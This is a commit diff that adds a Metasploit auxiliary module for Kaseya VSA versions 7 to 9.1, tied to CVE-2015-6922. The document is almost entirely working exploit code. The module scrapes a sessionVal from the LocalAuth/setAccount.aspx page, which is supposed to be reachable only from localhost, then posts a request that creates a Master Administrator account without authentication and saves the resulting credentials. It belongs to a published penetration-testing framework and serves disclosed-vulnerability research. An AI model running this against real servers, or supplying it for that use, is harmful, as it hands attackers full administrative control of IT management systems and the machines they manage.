Land rapid7#6018, @pedrib's module for Kaseya VSA ZDI-15-448

Author: jvazquez-r7

modules/auxiliary/admin/http/kaseya_master_admin.rb

@@ -0,0 +1,107 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Auxiliary
+
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Auxiliary::Report
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name' => 'Kaseya VSA Master Administrator Account Creation',
+      'Description' => %q{
+        This module abuses the setAccount page on Kaseya VSA between 7 and 9.1 to create a new
+        Master Administrator account. Normally this page is only accessible via the localhost
+        interface, but the application does nothing to prevent this apart from attempting to
+        force a redirect. This module has been tested with Kaseya VSA v7.0.0.17, v8.0.0.10 and
+        v9.0.0.3.
+      },
+      'Author' =>
+        [
+          'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
+        ],
+      'License' => MSF_LICENSE,
+      'References' =>
+        [
+          ['CVE', '2015-6922'],
+          ['ZDI', '15-448'],
+          ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/kaseya-vsa-vuln-2.txt'],
+          ['URL', 'http://seclists.org/bugtraq/2015/Sep/132']
+        ],
+      'DisclosureDate' => 'Sep 23 2015'))
+
+    register_options(
+      [
+        OptString.new('TARGETURI', [ true,  'The Kaseya VSA URI', '/']),
+        OptString.new('KASEYA_USER', [true, 'The username for the new admin account', 'msf']),
+        OptString.new('KASEYA_PASS', [true, 'The password for the new admin account', 'password']),
+        OptString.new('EMAIL', [true, 'The email for the new admin account', '[email protected]'])
+      ], self.class)
+  end
+
+
+  def run
+    res = send_request_cgi({
+      'uri' => normalize_uri(target_uri.path, 'LocalAuth', 'setAccount.aspx'),
+      'method' =>'GET',
+    })
+
+    if res && res.body && res.body.to_s =~ /ID="sessionVal" name="sessionVal" value='([0-9]*)'/
+      session_val = $1
+    else
+      print_error("#{peer} - Failed to get sessionVal")
+      return
+    end
+
+    print_status("#{peer} - Got sessionVal #{session_val}, creating Master Administrator account")
+
+    res = send_request_cgi({
+      'uri' => normalize_uri(target_uri.path, 'LocalAuth', 'setAccount.aspx'),
+      'method' =>'POST',
+      'vars_post' => {
+        'sessionVal' => session_val,
+        'adminName' => datastore['KASEYA_USER'],
+        'NewPassword' => datastore['KASEYA_PASS'],
+        'confirm' => datastore['KASEYA_PASS'],
+        'adminEmail' => datastore['EMAIL'],
+        'setAccount' => 'Create'
+      }
+    })
+
+    unless res && res.code == 302 && res.body && res.body.to_s.include?('/vsapres/web20/core/login.asp')
+      print_error("#{peer} - Master Administrator account creation failed")
+      return
+    end
+
+    print_good("#{peer} - Master Administrator account with credentials #{datastore['KASEYA_USER']}:#{datastore['KASEYA_PASS']} created")
+    service_data = {
+      address: rhost,
+      port: rport,
+      service_name: (ssl ? 'https' : 'http'),
+      protocol: 'tcp',
+      workspace_id: myworkspace_id
+    }
+
+    credential_data = {
+      origin_type: :service,
+      module_fullname: self.fullname,
+      private_type: :password,
+      private_data: datastore['KASEYA_PASS'],
+      username: datastore['KASEYA_USER']
+    }
+
+    credential_data.merge!(service_data)
+    credential_core = create_credential(credential_data)
+    login_data = {
+      core: credential_core,
+      access_level: 'Master Administrator',
+      status: Metasploit::Model::Login::Status::UNTRIED
+    }
+    login_data.merge!(service_data)
+    create_credential_login(login_data)
+  end
+end